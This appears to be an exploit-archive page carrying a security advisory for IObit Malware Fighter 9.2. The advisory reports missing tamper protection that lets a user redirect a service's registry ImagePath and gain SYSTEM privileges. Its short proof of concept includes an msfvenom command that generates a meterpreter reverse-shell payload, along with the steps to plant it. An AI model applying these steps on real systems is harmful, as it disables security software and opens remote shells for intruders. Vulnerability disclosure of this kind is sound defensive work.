

## IObit Malware Fighter 9.2 Tampering / Privilege Escalation

Authored by [Yehia Elghaly](#)

Posted [Aug 3, 2022](#)

IObit Malware Fighter version 9.2 fails to provide sufficient anti-tampering protection and that shortcoming can be leveraged to escalate to SYSTEM privileges.

tags | [exploit](#)

SHA-256 | [c6e27a8d7b7645ace9a03e1d2218ca5e5bdc9d279978795484de8145fd043895](#) [Download](#) | [Favorite](#) | [View](#)

### Related Files

### Share This

Like 0

Tweet

LinkedIn

Reddit

Digg

StumbleUpon

### Change Mirror

[Download](#)

[+] Credits: Yehia Elghaly (aka Mrvar0x)  
 [+] Website: <https://mrvar0x.com/>  
 [+] Source: "https://mrvar0x.com/2022/08/02/multiple-endpoints-security-tampering-exploit/"

Vendor:  
 =====  
 www.iobit.com

Product:  
 =====  
 IObit Malware Fighter 9.2

IObit Malware Fighter is an advanced malware & spyware removal utility that detects, removes the deepest infections, and protects the PC from various of potential malware, ransomware, cryptojacking, spyware, adware, trojans, keyloggers, bots, worms, and hijackers, etc. It includes the unique "Dual-Core" engine, driver-level technology and the heuristic malware detection. Safebox can protect users from ransomware and allow users to lock their personal data with a password.

Vulnerability Type:  
 =====  
 Missing Tamper Protection  
 Incorrect Authorization

CVE Reference:  
 =====  
 N/A

Security Issue:  
 =====  
 IObit Malware Fighter prior to version 9.2 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling IObit Malware Fighter and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.  
 Computer\HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService15  
 Computer\HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\IMFService  
 Change ImagePath path to a malicious executable.

Exploit/POC:  
 =====  
 Create malicious executable through msfvenom  
 msfvenom -p windows/meterpreter/reverse\_tcp LHOST=\$LOCALIP LPORT=4444 -f exe -o meta.exe  
 Modify (ImagePath) with the path of the malicious executable - Restart

Network Access:  
 =====  
 Local

Severity:  
 =====  
 High

[+] Disclaimer  
 The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c).

Mrvar0x



Follow us on Twitter



Subscribe to an RSS Feed

### File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

### Top Authors In Last 30 Days

**Red Hat 188 files**

**Ubuntu 57 files**

**Gentoo 44 files**

**Debian 28 files**

**Apple 25 files**

**Google Security Research 14 files**

**malvuln 10 files**

**nu11secu1ty 6 files**

**mjurczyk 4 files**

**George Tsimpidas 3 files**

### File Tags

ActiveX (932)  
 Advisory (79,557)  
 Arbitrary (15,643)  
 BBS (2,859)  
 Bypass (1,615)  
 CGI (1,015)  
 Code Execution (6,913)  
 Conference (672)  
 Cracker (840)  
 CSRF (3,288)  
 DoS (22,541)  
 Encryption (2,349)  
 Exploit (50,293)  
 File Inclusion (4,162)  
 File Upload (946)  
 Firewall (821)  
 Info Disclosure (2,656)

### File Archives

November 2022  
 October 2022  
 September 2022  
 August 2022  
 July 2022  
 June 2022  
 May 2022  
 April 2022  
 March 2022  
 February 2022  
 January 2022  
 December 2021  
 Older

### Systems

AIX (426)  
 Apple (1,926)

[Login](#) or [Register](#) to add favorites

## Site Links

---

[News by Month](#)

---

[News Tags](#)

---

[Files by Month](#)

---

[File Tags](#)

---

[File Directory](#)

---

## About Us

---

[History & Purpose](#)

---

[Contact Information](#)

---

[Terms of Service](#)

---

[Privacy Statement](#)

---

[Copyright Information](#)

---

## Hosting By

---

[Rokasec](#)

<a href="#">Intrusion Detection (866)</a>	<a href="#">BSD (370)</a>
<a href="#">Java (2,888)</a>	<a href="#">CentOS (55)</a>
<a href="#">JavaScript (817)</a>	<a href="#">Cisco (1,917)</a>
<a href="#">Kernel (6,255)</a>	<a href="#">Debian (6,620)</a>
<a href="#">Local (14,173)</a>	<a href="#">Fedora (1,690)</a>
<a href="#">Magazine (586)</a>	<a href="#">FreeBSD (1,242)</a>
<a href="#">Overflow (12,390)</a>	<a href="#">Gentoo (4,272)</a>
<a href="#">Perl (1,417)</a>	<a href="#">HPUX (878)</a>
<a href="#">PHP (5,087)</a>	<a href="#">iOS (330)</a>
<a href="#">Proof of Concept (2,290)</a>	<a href="#">iPhone (108)</a>
<a href="#">Protocol (3,426)</a>	<a href="#">IRIX (220)</a>
<a href="#">Python (1,449)</a>	<a href="#">Juniper (67)</a>
<a href="#">Remote (30,009)</a>	<a href="#">Linux (44,118)</a>
<a href="#">Root (3,496)</a>	<a href="#">Mac OS X (684)</a>
<a href="#">Ruby (594)</a>	<a href="#">Mandriva (3,105)</a>
<a href="#">Scanner (1,631)</a>	<a href="#">NetBSD (255)</a>
<a href="#">Security Tool (7,768)</a>	<a href="#">OpenBSD (479)</a>
<a href="#">Shell (3,098)</a>	<a href="#">RedHat (12,339)</a>
<a href="#">Shellcode (1,204)</a>	<a href="#">Slackware (941)</a>
<a href="#">Sniffer (885)</a>	<a href="#">Solaris (1,607)</a>
<a href="#">Spoof (2,165)</a>	<a href="#">SUSE (1,444)</a>
<a href="#">SQL Injection (16,089)</a>	<a href="#">Ubuntu (8,147)</a>
<a href="#">TCP (2,377)</a>	<a href="#">UNIX (9,150)</a>
<a href="#">Trojan (685)</a>	<a href="#">UnixWare (185)</a>
<a href="#">UDP (875)</a>	<a href="#">Windows (6,504)</a>
<a href="#">Virus (661)</a>	<a href="#">Other</a>
<a href="#">Vulnerability (31,104)</a>	
<a href="#">Web (9,329)</a>	
<a href="#">Whitepaper (3,728)</a>	
<a href="#">x86 (946)</a>	
<a href="#">XSS (17,478)</a>	
<a href="#">Other</a>	

[Follow us on Twitter](#)[Subscribe to an RSS Feed](#)